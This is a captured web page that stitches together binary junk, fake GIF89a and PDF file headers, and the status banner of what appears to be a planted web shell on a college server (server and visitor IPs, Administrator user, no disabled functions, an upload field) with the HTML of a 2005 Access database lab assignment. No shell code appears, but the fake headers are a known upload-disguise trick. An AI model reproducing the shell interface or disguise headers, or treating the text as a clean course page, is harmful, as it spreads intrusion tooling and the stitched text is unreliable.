GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1600/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>CST1601-Lab2</title> <style type="text/css"> td { vertical-align:top; } td.number { text-align:right; } th { text-align:left; vertical-align:top; } li { vertical-align:top; } li.instruction { margin: 5px 0px 0px 0px; } </style> </head> <body bgcolor="LemonChiffon" text="Black" link="Blue" vlink="Blue" alink="Red"> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr><td align="left"><font size="-1"><b>CST1601-Lab2 </b></font></td><td align="right"><font size="-1"><b> 2005.01.14</b></font></td></tr> </table> <div> <h1>CST1601 <br> Database Programming - Lab2 </h1> </div> <div> <!-- MetaLanguage3 ! --> <!-- Lab ! --> <br> <br> In the previous modules you have learned how to: <ol start="19"> <!-- Level II ! --> <!-- Tutorial05 19 ! --> <li> <font color="Green">Modify table designs and use subdatasheets</font>. <li> <font color="Green">Use Like, In, And, Not, and Or operators in queries</font>. <li> <font color="Green">User parameters in queries and use crosstab, find duplicates, and find unmatched queries</font>. <!-- Tutorial06 22 ! --> <li> <font color="Green">Design and create custom forms</font>. <li> <font color="Green">View and print database documentation</font>. <li> <font color="Green">Use controls and add headers, footers, and pictures to forms</font>. <li> <font color="Green">Use subforms, change the tab order, and filter data in forms</font>. <!-- Tutorial07 26 ! --> <li> <font color="Green">Design and create custom reports, use controls in reports, and use subreports</font>. <li> <font color="Green">Use conditional formatting, domain aggregate functions, and page formatting in reports</font>. <!-- Tutorial08 28 ! --> <li> <font color="Green">Export table data to html documents and use html documents to view table data</font>. <li> <font color="Green">Create and use data access pages and use data access pages to modify table data</font>. <li> <font color="Green">Use PivotTables, PivotCharts, XML, and Excel with Access</font>. </ol> It is now time to evaluate how well you learned these objectives. <br> <br> <table><tr valign="top"><td> <table border="1"> <tr><td colspan="2"><font color="Navy"><h3><b>Personalized Instruction: </b></h3></font></td></tr> <tr> <td> <font color="Green">New Perspectives Microsoft Access 2003 Comprehensive<br>(ISBN: 0-619-20672-1)</font> <ol> <li> Copy the <b>Delivery.mdb</b> database you have been using and rename it <b>CST1601-2.mdb</b>. <div> <li> Email the <b>CST1601-2.mdb</b> database to <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with the subject being <b>CST1601-Lab2</b>. </ol> </td> <td> <font color="Green">New Perspectives Microsoft Access 2003 Comprehensive Second Edition<br>(ISBN: 0-619-26811-5)</font> <ol> <li> Copy the <b>Training.mdb</b> database you have been using and rename it <b>CST1601-2.2.mdb</b>. <div> <li> Email the <b>CST1601-2.2.mdb</b> database to <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with the subject being <b>CST1601-Lab2</b>. </ol> </td> </tr> </table> </td></tr></table> <br> <table><tr valign="top"><td> <font color="Navy"><h3><b>Evaluations: </b></h3></font> This is your second fomal evaluation for this course. It will be used to evaluate your progress with the Level II tutorials. This lab will be graded on a percentage and count as 20% of your grade for this course. If you have any questions about the assignment you can email me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> or make an appointment to see me. </td></tr></table> <br> <table><tr valign="top"><td> <font color="Navy"><h3><b>Description: </b></h3></font> Demonstrate your ability to use advanced forms and reports. </td></tr></table> <div> <table><tr><td> <font color="Navy"><h3><b>References and Resources: </b></h3></font> <ol> <li> <table border="0" cellspacing="0" cellpadding="0"><tr valign="bottom"><td><table border="0" frame="void" cellpading="0" cellspacing="0"> <tr valign="bottom"> <td> <i>New Perspectives Microsoft Access 2003 Comprehensive</i><br> Joseph J. Adamski and Kathleen T. Finnegan<br> Thomson Course Technology ©2004<br> ISBN: 0-619-20672-1<br> </td> </tr> </table> </td><td>(Student supplied textbook)</td></tr></table> <li> Microsoft Access 2003 Software (Installed on leased laptop or student supplied) <li> Computer system with OS (Student supplied equipment) <li> Course Instructional Guide (School supplied handout) </ol> </td></tr></table> <div> Return to the <a href="CST1601-Syllabus.htm">Syllabus</a>, <a href="CST1601-InstructionalGuide.htm">Instructional Guide</a>, or the <a href="javascript:history.back();">previous page</a>. <div> <table><tr valign="top"><td> <font color="Navy"><h3><b>Version Information: </b></h3></font> <table> <tr><td>2005.01.14</td><td>Module converted to new text.</td><td>jfm</td></tr> </table> </td></tr></table> <br> <br> <br> <br> <div align="center"> <div> Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a> <div> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr><td align="left"><font size="-1"><b>CST1601-Lab2 </b></font></td><td align="right"><font size="-1"><b> 2005.01.14</b></font></td></tr> </table> </div> </body> </html>